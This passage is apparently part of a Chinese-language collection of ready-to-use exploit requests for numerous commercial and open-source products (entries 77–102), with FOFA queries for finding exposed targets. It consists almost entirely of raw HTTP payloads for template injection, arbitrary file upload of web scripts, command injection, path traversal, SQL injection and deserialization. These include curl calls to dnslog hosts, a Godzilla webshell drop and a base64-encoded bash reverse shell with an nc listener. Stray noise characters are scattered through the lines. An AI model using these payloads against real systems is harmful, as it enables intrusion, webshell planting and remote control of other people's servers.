, o8 e0 Z, a$ K( M# Y  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
3 S# |% \4 A/ z5 w  H2 R  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}


GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
( T% T5 `0 q+ m7 {' W( w4 D: T, z
% J. L7 A* c$ }

77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
& O5 r! l3 [; e6 X' F# ?' }POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Content-Length: 433
- A# N" A# ~2 j9 a* l9 N# GAccept: */*
Accept-Encoding: gzip, deflate
' _5 M7 V$ X4 a7 s2 }$ ~6 T+ LAccept-Language: zh-CN,zh;q=0.9
+ v, W) j5 u3 c5 A3 e2 A+ OContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
$ ~' x# V" k, z! ?6 V
8 r+ k5 }2 @! g7 F. E/ Y* K------------398jnjVTTlDVXHlE7yYnfwBoix
/ v& i. E: d. G# O& tContent-Disposition: form-data; name="folder"

2 W( K! G* v2 W! V  @5 c2 B& N/upload/udplog
; |3 c; n0 ?" G2 o2 a0 ?------------398jnjVTTlDVXHlE7yYnfwBoix
6 o9 ~' y. P7 u6 U# A! V& zContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream
& [! @3 a: Z) y  Y8 w5 J9 B
8 b2 v) G* Q& O4 |$ q& l3 [5 c, Ghello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"

Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--

9 @0 y5 b7 o! e4 Z9 i4 Q1 S+ N
. A8 J9 T2 j9 @- Z* X/ y78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 336
! `5 ^& Q$ {  M, `/ ~0 C' pAccept-Encoding: gzip
& D0 M. d6 J4 U  u# ?7 Z" QContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

------YsOxWxSvj1KyZow1PTsh98fdu6l
7 b+ |2 T& j! ?* ]* X3 R: B& N6 rContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
9 P8 `) p# T7 @! |Content-Type: image/png
# ]! e9 b2 u: M- ]* p- P
$ z4 `% {9 }% q  d$ b! `YsOxWxSvj1KyZow1PTsh98fdu6l
1 n& R: ~  Q- l* u) l% ^, i1 Y------YsOxWxSvj1KyZow1PTsh98fdu6l
! x' Y( C" |' F( T1 bContent-Disposition: form-data; name="target"
7 @2 q8 v4 g2 u( [" k
/Applications/SkillDevelopAndEHS/
3 ?  O  _0 `. m- X; j; k/ o------YsOxWxSvj1KyZow1PTsh98fdu6l--
; F9 h1 ^1 q( N1 ~& v" |

GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
) o3 H* y* O  j: F' k/ kHost: x.x.x.x
, l: G8 u' H4 }4 q/ O" \

' O- ]; r6 [( U, {' i0 _8 n79. BYTEVALUE 百为流控路由器远程命令执行
$ m% x! _8 M% L6 g( JFOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* Z- n* \. s6 A1 q' PAccept-Encoding: gzip, deflate
7 |1 b8 h& o9 n! D2 S1 hConnection: close
( J8 o  I0 }2 f9 S8 oUpgrade-Insecure-Requests: 1
9 J% \/ y# d3 ^. j/ H

80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
3 N8 ^8 t2 D! g( a% C$ XPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
& @. t9 h5 p  IHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 x+ _) t9 @9 M$ S# t# RAccept-Encoding: gzip, deflate
: g# J+ V0 V# Q, g3 dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' _' _2 H+ o+ S' E6 I& l% VConnection: close
Content-Type: application/octet-stream
6 g! `; I% H7 ^9 d- g. wUpgrade-Insecure-Requests: 1
  S, _5 n: y- }
- ^1 G# K7 x5 ?<% out.print("oessqeonylzaf");%>


5 Z9 M( L0 n0 v  t( T8 xGET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 ?9 h1 ]7 Z5 r8 v0 u1 HConnection: close
! B$ `. N0 M) P6 H9 n8 R5 I5 lAccept-Encoding: gzip

! \% M& y8 \; r) x5 _
! b, m, ?8 E/ K6 n81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
2 S& `3 G. y) n  DFOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
% x: F4 P7 g( e/ kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
/ F$ K. u+ A" R8 v1 R4 c4 M

& ?* J! x* P: ?82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
: L/ q" g% }8 `* {$ L/ K; K7 @# C8 \4 xFOFA：app="思福迪-LOGBASE"
6 j+ e% d2 P0 Z6 E* W  q6 u! \POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
8 K" ]7 s6 D7 sUser-Agent: Go-http-client/1.1
Content-Length: 23
Accept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL

z1=1&z2="|id;"&z3=bhost


& [6 a+ S* l  S5 }4 [. N$ @83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"
/ z1 M4 A+ a) U3 y! h
! I! K  C" u) P9 D9 [4 U
POST /jmreport/testConnection HTTP/1.1
, R# S8 q4 i4 M1 QHost: x.x.x.x
: t" k' A7 N6 xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; I" Q( N: E/ i4 fConnection: close
- |/ C# X" P8 b0 m" _) Y- DContent-Length: 8881
  U8 i" u7 `( s/ \Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
1 K6 l- ^- f! I* R3 \; uContent-Type: application/json
% }7 L2 Y0 L" ]4 Z
PAYLOAD
9 N- X- i, d; J2 r# R
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
: G3 R  Y: j5 c1 O  f" \2 t; L- YFOFA：title=="JeecgBoot 企业级低代码平台"
1 L* W. d0 U, y3 ?2 `( A% a3 S8 A% P

0 |/ ~0 w4 V& |/ M% H! u. l# m+ s
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
! U: F2 g; X$ b8 wHost: 192.168.40.130:8080
User-Agent: curl/7.88.1
Content-Length: 156
( }8 G, l, A5 q( h; P* EAccept: */*
/ F/ [& z5 {7 U- H/ jConnection: close
: G2 `6 [" B6 C7 b1 n% s) ], bContent-Type: application/json
) P1 m) Z% L, i" M$ oAccept-Encoding: gzip

$ c: @- p; r3 U: [$ N" i{
% y/ I0 j7 B8 \1 f "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
2 c6 h& L4 g+ A0 B7 s8 t9 N  "type": "0"
}
9 q; E  V# t" l+ e, \* Y

: z& j, y6 @" h0 b8 k7 Q) ?85. SysAid On-premise< 23.3.36远程代码执行
  i# k. Z! \0 H  p2 y/ q9 P5 y3 sCVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
' `" a' g" i* {1 b. M$ s8 REXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
3 v& I3 B! @! Y, `! t" \; b# f7 AHost: x.x.x.x
: y7 b# Y. k3 rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 B  o, u9 |; O1 w$ j% B' PContent-Type: application/octet-stream
Accept-Encoding: gzip

5 X8 B6 u  o) d" E$ I+ E* u; VPAYLOAD

回显URL：http://x.x.x.x/userfiles/index.jsp
* F& _& @+ I. {4 }
* J; j- i3 H" Y' @4 j86. 日本tosei自助洗衣机RCE
. B. q9 M6 x) L: n4 H" iFOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
- a1 j8 }" E) vHost: x.x.x.x
# [4 U% v) S* BUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Content-Length: 44
' h) {+ j$ u- A" Y, B9 qAccept: */*
Accept-Encoding: gzip
Accept-Language: en
: D% P& E6 G% p; P+ a$ d+ C" c* ZContent-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping
( y. I: B4 y0 M$ y0 d5 W, d

87. 安恒明御安全网关aaa_local_web_preview文件上传
$ P& k+ m( @8 }FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
: }& v+ T$ O! |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 198
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
8 i6 f" ?; J; C" bContent-Type: text/plain
+ d( r& i' W& u+ T; F, m
" b( A. v- ?# f2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--

. O5 G1 J. R# B4 x/ b# V/ `
/jfhatuwe.php
9 |8 n  E+ ?- z& A) V9 Y
6 p4 y: Q- u3 a* ~1 t6 M88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
( |7 w% a, o" P% ^FOFA：title="明御安全网关"
4 V7 J: B' s! y* |% R& RGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
, L; t5 m( x+ S" c& n8 U% OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; z; w; q1 V( iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ f+ t  P5 j% W5 x1 j" @Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' r7 v& U' Q+ v. a+ HConnection: close

+ [% y- U: _/ H0 H7 B+ S  `. R. x
2 m! I" z  Y6 q8 y0 M) e6 {/astdfkhl.php

89. 致远互联FE协作办公平台editflow_manager存在sql注入
' ]2 b; ^! |1 T( d$ SFOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
1 S. U, a! I% LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
  o$ C; V* h8 r, Q( \  e& ]Connection: close
Content-Length: 41
9 f- ^0 H' `) y0 u' @Content-Type: application/x-www-form-urlencoded
- \, U- r3 j7 mAccept-Encoding: gzip
6 x* ]& s& w. j6 v
option=2&GUID=-1'+union+select+111*222--+

$ _5 x: w" n( D* w+ o9 e( J
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
% j8 ?3 M: K0 E4 xFOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
+ i8 d( A; I( _: v: m+ tHost: x.x.x.x
! s' c4 F% B: yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
# @: g6 Y* O: H1 O( qContent-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
& t+ n, b" f" ]; C4 Y+ C$ J5 ?4 iAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: i! _+ d8 M) M# eConnection: close
Content-Type: application/x-www-form-urlencoded
( h. r! _  ?& e% g, V# UX-Requested-With: XMLHttpRequest

0 E! |( v, g# ]2 f; o% F4 x+ `jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig


91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
( x6 M: M: R% B8 G% ?( QAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
' {9 G  C" c: E# g


) q7 y) J3 h3 f* A. O( B6 U% V92. 海康威视运行管理中心session命令执行
Fastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
Host:
  W5 Z6 T* p* C: M) c! `+ ]& E4 CAccept: application/json, text/plain, */*
# D. x& H/ T" j& JAccept-Encoding: gzip, deflate
5 [' H) e: K  ]X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
Testcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
! _/ W9 [/ y' ~0 c  e. p& f& t6 `
PAYLOAD
/ q" z# L, N( v8 o' r1 V
7 y4 m/ Y5 L# y, C2 s$ L0 F- P
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
9 e( g- ~% c% T9 F( G, VPOST /?g=app_av_import_save HTTP/1.1
$ Q# {% D$ ~/ C* _/ A# ZHost: x.x.x.x
+ d, |  c- j% d5 F9 \' T# cContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
. \( n# L4 R3 Y) h/ XUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
; V3 v* s9 F& D" b
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"

: D% u6 t) ^* ?9 O5 a  V3 e10000000
------WebKitFormBoundarykcbkgdfx
: w; |8 \# r1 ?: L7 U" ?+ i/ YContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
( p" p* j$ z" R- lContent-Type: text/plain
: M7 o- G8 A* T/ T4 z! T8 Y
- O4 k) W8 ~7 e! W$ Y( r+ ?wagletqrkwrddkthtulxsqrphulnknxa
$ C- u) M+ B7 U5 b3 {4 X------WebKitFormBoundarykcbkgdfx
2 u4 M: k3 p0 y; J/ jContent-Disposition: form-data; name="submit_post"
6 x6 z+ L5 z3 E2 V/ y# j3 p6 q( N( C
obj_app_upfile
, r- I; G' c0 U3 f, f0 Q------WebKitFormBoundarykcbkgdfx
! ?5 B; P  j9 D/ PContent-Disposition: form-data; name="__hash__"
$ _% }" Q( v4 F% S" S; E; _$ O
( v/ P9 s- Q& q9 j/ {0b9d6b1ab7479ab69d9f71b05e0e9445
5 k8 V4 v- g  t8 h5 t  P------WebKitFormBoundarykcbkgdfx--
$ M4 T4 l4 U& a1 H, ]9 }
8 J% B* t1 Y# C, E# h9 z9 [
GET /attachements/xlskxknxa.txt HTTP/1.1
5 A3 o6 @3 D, ]7 GHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


) d3 I4 p! W! |9 _* S/ b94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
; a+ O2 J8 J3 aPOST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
$ W0 B" \. x0 {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"
# [+ w$ a( _8 a2 a9 O
! M% r, \& r0 K0 T10000000
------WebKitFormBoundarybqvzqvmt
% Q% Y2 v. m; u& vContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

pxplitttsrjnyoafavcajwkvhxindhmu
% e5 a, a% z" T9 W4 R5 a+ j) @------WebKitFormBoundarybqvzqvmt
- ]9 Y$ a$ L" Z8 |( x, rContent-Disposition: form-data; name="submit_post"

obj_app_upfile
5 v; h# `, T; A+ d7 @' u; W------WebKitFormBoundarybqvzqvmt
. }0 R5 j/ C! T- B$ K0 O( j: QContent-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
3 T6 v! j$ Z( E0 U- m. @) f------WebKitFormBoundarybqvzqvmt--
/ X4 H4 L" R* G, S, Y" Q: V8 f
( X  K7 x% I% G- v3 j9 h  {
5 E# z/ ~. a5 F  ], e, z% o; m
. `0 e2 Q# J# Y  P3 L% FGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
  _1 j% i# E. F* o5 XUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
$ m' H: R2 q+ z: b6 Y; f
! _$ t" G5 f8 \8 l7 x' Z+ z

95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
' P" s1 b) R' i. I( K2 YCVE-2023-49070
FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
/ c/ @6 k6 b: `- q- {) nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
* b" n7 r7 b2 d1 ~Connection: close
& {/ `" ]+ W/ E: \: q) @Content-Length: 889
Content-Type: application/xml
. \/ _3 ]0 V7 [* ^8 x; J) DAccept-Encoding: gzip

<?xml version="1.0"?>
+ |" j& R& {3 }<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
6 T, ?! |. S% m* m; \9 i    <params>
      <param>
      <value>
" \  z1 _5 W" f- C. y        <struct>
       <member>
          <name>test</name>
5 S% v: n& [3 F& ?  P1 X2 ]          <value>
* d0 G6 l- V* I0 U3 _6 V      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
, D2 ~4 h' Y7 X& E& U: Z          </value>
$ U- ~" t; ?0 q5 ?# @) C" h        </member>
. ?' r5 E7 ^+ n$ Y2 p" _+ }      </struct>
1 j7 A* v$ Z$ q4 Z  U! S6 [! X      </value>
    </param>
    </params>
</methodCall>
& o3 q" s( _/ E
( F# L+ `! T2 o: m" i$ F$ J
用ysoserial生成payload
/ H9 f4 u) n5 L! Wjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
3 O3 B- ?( \/ f/ \$ N' |/ u

4 d3 B# G$ g0 s! V# L) `8 ^将生成的payload替换到上面的POC
2 N! E2 G6 \( d' x3 s9 }3 TPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
7 W& E5 Q4 r9 U- z. P0 z" ]Host: 192.168.40.130:8443
: {6 f/ V' E. O' N5 s5 ^6 x% ~User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
+ J6 J% \& L- F: `% B; d1 hContent-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip
( S' i* \# F, Y& J
  ]7 z% H' s8 z5 @1 ]: g& zPAYLOAD

6 Q% d8 _2 k0 D5 K; M0 K96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
/ L7 u, Q1 |/ h* B6 q6 `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
. O" ~; ]( \: H; A
groovyProgram=throw+new+Exception('id'.execute().text);
* u0 @, {. m: x8 M' y7 n$ v5 l
' i5 H$ _4 y9 j" I8 t
  k3 ~( v5 M: Q, w反弹shell
; r' h! A( x; \& U/ R在kali上启动一个监听
nc -lvp 7777

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
+ e7 O$ ?7 y; P. r3 u) a$ DHost: 192.168.40.130:8443
: M4 }$ ^! I0 U) W+ p8 SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
0 `- a* T# k# X" c% U5 |: w% MAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

3 s! Y6 |5 F/ c! s5 t8 K97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
) h; w6 [9 e- D9 U4 u% nFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
9 G- a" H, {- J9 AHost: 192.168.40.130:8085
3 L7 P- c+ c" B! Q6 i3 cUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
3 G; a: \/ A6 ~/ u# DConnection: close
Cookie: rememberMe=PAYLOAD
" }% @. l) ?! r( aX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"


98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
, w! a. Y0 |) N: b" L: |FOFA：app="SpiderFlow"
  q! H, n: {# W% b, M8 mPOST /function/save HTTP/1.1
6 }& J. E  U3 g! L* x9 IHost: 192.168.40.130:8088
0 B6 f- Q$ P4 U* Z6 Z( F& HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
. L. P$ Z$ u: JConnection: close
Content-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
2 l9 b5 o( ~) m+ n/ ^  fX-Requested-With: XMLHttpRequest
9 B1 V8 Z6 u3 Z( ]' U+ n; F
: x; c( x. Y- _0 Zid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B

: ?; M; S; W# j5 Q6 h" k
$ b/ \' N" Z9 Q% N99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
" J" h1 M. |& L" pHost: 192.168.40.130:8080
: N' i& ^% R+ x( U9 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 154
/ s2 A  Z! ~2 M+ fAccept: */*
5 l; t$ Z& g3 fAccept-Encoding: gzip, deflate
% O0 ]/ W2 h5 u+ x( L% }Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; i* z4 O# U6 iContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

& Z1 q. X8 \' ]9 _+ a; y0 \6 `%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
3 n9 |7 [6 `9 ~. F( Y
" C1 M& L4 z( P! p9 ]% t# o& Y
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
0 V4 u0 l4 a; sFOFA：icon_hash="874152924"
9 J  ~, M# L, Q' a+ _/ S2 F6 KPOST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
3 L8 ~6 L& T1 R& KContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip
7 Y( H* n0 b' z% a* w% g& t9 Y1 ?
------WebKitFormBoundarygcflwtei
  J! ?! F2 S$ {Content-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php

2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--
) \" V5 L8 g1 a

101. ivanti policy secure-22.6命令注入
& S# _, |! N2 m, FCVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
4 T/ `7 B/ r& Q& @5 MGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
! t: `' F7 Z. ?7 \0 A/ H  mHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
8 \( y+ d- _# uConnection: close
; _% R2 p( l4 z* ~5 e7 {7 F0 t% ^9 vAccept-Encoding: gzip

; P$ T8 H5 V$ K5 q$ M0 M, U1 Q5 ?
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
* Q8 m0 W! t0 Y2 G& O+ jCVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
5 W4 F- P* J- r/ b) Y' l, tPOST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
" f& V% `& {, T7 }) C- D6 p) Q6 RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
7 Q0 y$ Y0 M$ j% WConnection: close
9 Z& c1 K5 q0 g2 UContent-Length: 792
Accept-Encoding: gzip

